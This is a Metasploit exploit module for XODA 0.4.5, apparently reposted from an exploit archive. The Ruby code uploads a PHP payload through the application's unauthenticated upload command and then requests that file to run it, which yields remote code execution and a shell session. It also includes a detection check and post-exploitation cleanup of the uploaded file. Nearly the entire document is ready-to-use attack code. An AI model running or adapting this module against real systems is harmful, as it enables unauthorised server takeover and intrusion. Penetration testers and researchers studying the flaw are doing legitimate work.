XODA 0.4.5 – Arbitrary ‘.PHP’ File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "XODA 0.4.5 Arbitrary PHP File Upload Vulnerability", 'Description' => %q{ This module exploits a file upload vulnerability found in XODA 0.4.5. Attackers can abuse the "upload" command in order to upload a malicious PHP file without any authentication, which results in arbitrary code execution. The module has been tested successfully on XODA 0.4.5 and Ubuntu 10.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Shai rod', # Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'EDB', '20703' ] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['XODA 0.4.5', {}], ], 'Privileged' => false, 'DisclosureDate' => "Aug 21 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/xoda/"]) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}?upload_to=" }) if res and res.code == 200 and res.body =~ /Upload a file/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm(@payload_name) else client.shell_command_token(@payload_name) end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' boundary = "---------------------------#{Rex::Text.rand_text_numeric(27)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"files_to_upload[]\"; filename=\"#{@payload_name}\"\r\n\r\n" post_data << "<?php " post_data << payload.encoded post_data << " ?>\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"pwd\"\r\n\r\n" post_data << "\r\n" post_data << "--#{boundary}--\r\n" print_status("#{peer} - Sending PHP payload (#{@payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}?upload", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) if not res or res.code != 302 print_error("#{peer} - File wasn't uploaded, aborting!") return end print_status("#{peer} - Executing PHP payload (#{@payload_name})") # Execute our payload res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}files/#{@payload_name}" }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. Print the status code for debugging purposes. if res and res.code != 200 print_status("#{peer} - Server returned #{res.code.to_s}") end end end |